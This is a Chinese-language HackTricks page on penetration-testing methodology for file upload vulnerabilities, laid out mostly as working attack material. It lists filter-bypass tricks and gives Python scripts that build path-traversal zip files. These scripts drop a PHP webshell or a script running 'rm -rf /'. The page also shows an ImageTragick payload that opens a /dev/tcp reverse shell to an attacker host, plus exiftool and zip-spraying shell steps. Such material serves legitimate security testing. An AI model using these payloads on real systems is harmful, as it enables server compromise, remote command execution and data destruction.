20 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFT收藏品The PEASS Family
-
加入💬 Discord群组 或 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks仓库和hacktricks-cloud仓库提交PR来分享你的黑客技巧。
文件上传通用方法论
- 尝试使用双重扩展名上传文件(例如:file.png.php 或 file.png.php5)。
- PHP扩展名:.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
- ASP扩展名:.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml
- 尝试将扩展名的某些字母大写,例如:.pHp, .pHP5, .PhAr ...
- 尝试上传一些双重(或更多)扩展名(用于绕过检查是否存在特定扩展名的错误配置检查):
- file.png.php
- file.png.txt.php
- 尝试上传一些反向双重扩展名(用于利用Apache错误配置,其中任何具有_.php_扩展名的文件,但不一定以.php结尾,都将执行代码):
- 例如:file.php.png
- 使用空字符的双重扩展名:
- 例如:file.php%00.png
- 在扩展名的末尾添加一些特殊字符:%00,%20,(多个点)....
- file.php%00
- file.php%20
- _file.php...... --> 在Windows中,如果文件以点结尾创建,这些点将被删除(因此可以绕过检查扩展名为.php的过滤器)
- file.php/
- _file.php._
- 通过将Content-Type header的value设置为:image/png,text/plain,application/octet-stream,绕过Content-Type检查。
- 通过在文件开头添加真实图像的字节(混淆_file_命令)来绕过魔术数字检查。或者在元数据中引入shell:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
- 也有可能只是在文件中检查魔术字节,并且您可以在文件的任何位置设置它们。
- 在Windows中使用NTFS备用数据流(ADS)。在这种情况下,禁止扩展名后面会插入冒号字符“:”,然后是允许的扩展名。结果,在服务器上将创建一个带有禁止扩展名的空文件(例如“file.asax:.jpg”)。稍后可以使用其他技术(例如使用其短文件名)编辑此文件。还可以使用“::$data”模式创建非空文件。因此,在此模式后面添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)。
- 使用允许的扩展名(png)上传后门,并祈祷发生配置错误以执行后门。
- 查找重命名已上传的文件的漏洞(以更改扩展名)。
- 查找本地文件包含漏洞以执行后门。
- 可能的信息泄露:
- 多次(并且同时)上传相同的文件,相同的名称
- 上传一个已存在的文件或文件夹的名称的文件
- 上传一个文件,其名称为**“.”、“..”或“…”。例如,在Windows**的Apache中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,那么“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
- 在NTFS中上传一个可能不容易删除的文件,例如**“…:.jpg”**。 (Windows)
- 在Windows中上传一个名称中包含无效字符,例如
|<>*?”
。 (Windows) - 在Windows中上传一个使用保留(禁止)名称,例如CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8和LPT9的文件。
还可以尝试上传一个可执行文件(.exe)或一个较不可疑的.html文件(在被受害者意外打开时将执行代码)。
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
如果您正在尝试将文件上传到PHP服务器,请查看.htaccess技巧以执行代码。
如果您正在尝试将文件上传到ASP服务器,请查看.config技巧以执行代码。
.phar
文件类似于Java的.jar
文件,但用于PHP,并且可以像PHP文件一样使用(使用php执行它,或在脚本中包含它...)
.inc
扩展名有时用于仅用于导入文件的PHP文件,因此在某些情况下,某人可能已经允许执行此扩展名。
使用BurpSuit插件https://github.com/modzero/mod0BurpUploadScanner检查许多可能的文件上传漏洞,或使用一个控制台应用程序找出可以上传的文件并尝试不同的技巧来执行代码:https://github.com/almandin/fuxploider
wget文件上传/SSRF技巧
在某些情况下,您可能会发现服务器正在使用wget
来下载文件,并且您可以指定URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只有允许的文件才能下载。然而,这个检查可以被绕过。
在Linux中,文件名的最大长度为255个字符,但是wget
将文件名截断为236个字符。您可以下载一个名为"A"*232+".php"+".gif"的文件,这个文件名将绕过检查(在这个例子中,".gif"是一个有效的扩展名),但是wget
将把文件重命名为"A"*232+".php"。
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
请注意,你可能会考虑的另一种选择是绕过此检查的方法是使HTTP服务器重定向到另一个文件,这样初始URL将通过检查,然后wget将使用新名称下载重定向的文件。这不起作用,除非wget与参数--trust-server-names
一起使用,因为wget将使用原始URL中指定的文件名下载重定向的页面。
从文件上传到其他漏洞
- 将文件名设置为
../../../tmp/lol.png
,尝试实现路径遍历 - 将文件名设置为
sleep(10)-- -.jpg
,可能能够实现SQL注入 - 将文件名设置为
<svg onload=alert(document.comain)>
,实现XSS - 将文件名设置为
; sleep 10;
,测试一些命令注入(更多命令注入技巧在这里) - 图像(svg)文件上传中的XSS
- JS文件上传 + XSS = Service Workers利用
- svg上传中的XXE
- 通过上传svg文件实现开放重定向
- 著名的ImageTrick漏洞
- 如果你可以指示Web服务器从URL中获取图像,你可以尝试滥用SSRF。如果这个图像将要被保存在某个公共站点上,你还可以指定一个来自https://iplogger.org/invisible/的URL,并窃取每个访问者的信息。
以下是通过上传文件可以实现的前10项功能列表(来自链接):
- ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
- SVG:存储型XSS / SSRF / XXE
- GIF:存储型XSS / SSRF
- CSV:CSV注入
- XML:XXE
- AVI:LFI / SSRF
- HTML / JS:HTML注入 / XSS / 开放重定向
- PNG / JPEG:像素洪水攻击(DoS)
- ZIP:通过LFI实现RCE / DoS
- PDF / PPTX:SSRF / 盲XXE
自动解压缩上传的ZIP文件
如果你可以上传一个将在服务器内部解压缩的ZIP文件,你可以做两件事:
符号链接
上传一个包含指向其他文件的软链接的文件,然后访问解压缩的文件时,你将访问到链接的文件:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
在不同的文件夹中解压缩
解压缩的文件将会被创建在意料之外的文件夹中。
有人可能会认为这种设置可以防止通过恶意文件上传进行操作系统级别的命令执行,但不幸的是,这是不正确的。由于ZIP存档格式支持分层压缩,并且我们还可以引用更高级别的目录,因此我们可以通过滥用目标应用程序的解压缩功能来逃离安全上传目录。
可以在这里找到一个自动化利用程序来创建这种类型的文件:https://github.com/ptoomey3/evilarc
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
以下是创建恶意zip文件的Python代码示例:
import zipfile
def create_malicious_zip(file_path, content):
with zipfile.ZipFile(file_path, 'w') as zip_file:
zip_file.writestr('../malicious_script.py', content)
# Usage example
malicious_content = '''
import os
os.system('rm -rf /')
'''
create_malicious_zip('malicious.zip', malicious_content)
上述代码演示了如何使用Python创建一个恶意的zip文件。在这个示例中,我们使用zipfile
模块创建了一个zip文件,并将恶意脚本内容写入其中。恶意脚本会尝试删除系统中的所有文件。
使用示例中的create_malicious_zip
函数,您可以根据需要自定义恶意zip文件的内容和文件路径。请注意,此代码仅用于教育和研究目的,严禁在未经授权的系统上使用。
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
为了实现远程命令执行,我采取了以下步骤:
- 创建一个PHP shell:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- 使用“文件喷洒”技术创建一个压缩的zip文件:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
3.使用十六进制编辑器或vi,将“xxA”更改为“../”,我使用了vi:
:set modifiable
:%s/xxA/..\//g
:x!
只剩下一步了:上传ZIP文件并让应用程序解压缩它!如果成功并且Web服务器具有足够的权限来写入目录,系统上将会有一个简单的操作系统命令执行shell:
参考: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
使用不同的名称解压缩
有时候应用程序会通过检查zip文件中的扩展名来阻止文件的加载。如果这种验证是肤浅的,即通过检查本地字段头中文件的名称来进行,那么可以通过让应用程序相信文件具有某个扩展名,而实际上在解压缩后它将具有另一个扩展名来绕过此限制。
我们可以重用之前的脚本来创建一个zip文件。
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
请注意,名称中间有一个空格。现在,您可以使用十六进制编辑器编辑生成的zip文件,并将位于中央目录头部的字段名称中的此字符更改为空字节00
:
# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
当应用程序检查zip文件中的文件名时,用于此检查的名称将是本地文件头的名称,但如果zip文件被加密,则不是这样(请参阅pkzip规范)。当7z或unzip在两个名称之间看到差异时,用于存储文件的名称将是中央目录头的名称。由于空字节的存在,名称将是shell.php
。
解压后:
7z e poc.zip
ls
shell.php
参考资料:
https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT
ImageTragic
将此内容使用图像扩展名上传以利用漏洞 (ImageMagick , 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
在 PNG 图像中嵌入 PHP Shell
将 Web Shell 放在 IDAT 块中的主要原因是它能够绕过调整大小和重新采样操作 - PHP-GD 包含两个函数来实现这一点 imagecopyresized 和 imagecopyresampled。
阅读此文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
多语言文件
在安全上下文中,多语言文件是一种同时是多种不同文件类型的有效形式的文件。例如,GIFAR 既是 GIF 文件又是 RAR 文件。还有一些文件可以同时是 GIF 和 JS,PPT 和 JS 等。
多语言文件通常用于绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传特定类型的文件,例如 JPEG、GIF、DOC,以防止用户上传可能危险的文件,如 JS 文件、PHP 文件或 Phar 文件。
这有助于上传一个符合多种不同格式的文件。它可以允许你上传一个 PHAR 文件(PHp ARchive),它看起来也像一个 JPEG,但如果上传函数不允许它,这对你没有帮助。
更多信息请参考:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家 网络安全公司 工作吗?想要在 HackTricks 中 为你的公司做广告 吗?或者你想要访问 PEASS 的最新版本或下载 PDF 格式的 HackTricks 吗?请查看 订阅计划!
-
发现我们的独家 NFTs 集合 The PEASS Family。
-
加入 💬 Discord 群组 或 Telegram 群组,或者在 Twitter 上 关注 我 🐦@carlospolopm。
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。